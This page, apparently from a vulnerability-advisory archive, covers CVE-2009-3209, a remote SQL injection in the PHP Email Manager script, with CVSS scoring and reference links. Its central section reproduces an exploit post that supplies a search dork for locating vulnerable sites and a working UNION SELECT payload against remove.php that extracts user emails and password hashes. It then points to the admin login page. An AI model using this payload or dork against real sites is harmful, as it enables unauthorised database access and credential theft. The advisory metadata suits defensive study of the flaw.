PHP Email Manager Remote SQL Injection Vulnerability

2009-09-17 / 2009-09-18

Credit: MuShTaQ

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2009-3209

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

===========================================|->
~ Mtrb3 hena [Security-Code] ~
===========================================|->
script :-> PHP Email Manager < Remote SQL Injection Vulnerability >
Downlode:->http://webscripts.softpedia.com/script/Mailing-List-Managers/PHP-eMail-Manager-30652.html
Dork:->PHPEmailManager
Found by :-> [ MuShTaQ ]
from :-> [WwW.SeC-CoDe.com]
C0ntact :a7m@mail.com
===========================================|->
~ Exploit ~
===========================================|->
File :-> http//www.site.com/PHPEmailManager/remove.php?ID=[SQL]
Exploit:-> http://www.site.com/PHPEmailManager/remove.php?ID=-1+union+select+1,concat%28Email,0x3a,PasswordHash%29,3,4,5,6,7,8,9,10,11+from+php_email_man_Users--
Admin Login:-> http//www.site.com/PHPEmailManager/login.php
-:::::::::::::::::: GreeetZ:::::::::::::::::-
Sniper.vb , Mr.Nrfzh,and all friends
Bay Bay

References:

http://xforce.iss.net/xforce/xfdb/52548

http://secunia.com/advisories/36346

http://packetstormsecurity.org/0908-exploits/phpem-sql.txt

http://osvdb.org/57171

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

PHP Email Manager Remote SQL Injection Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.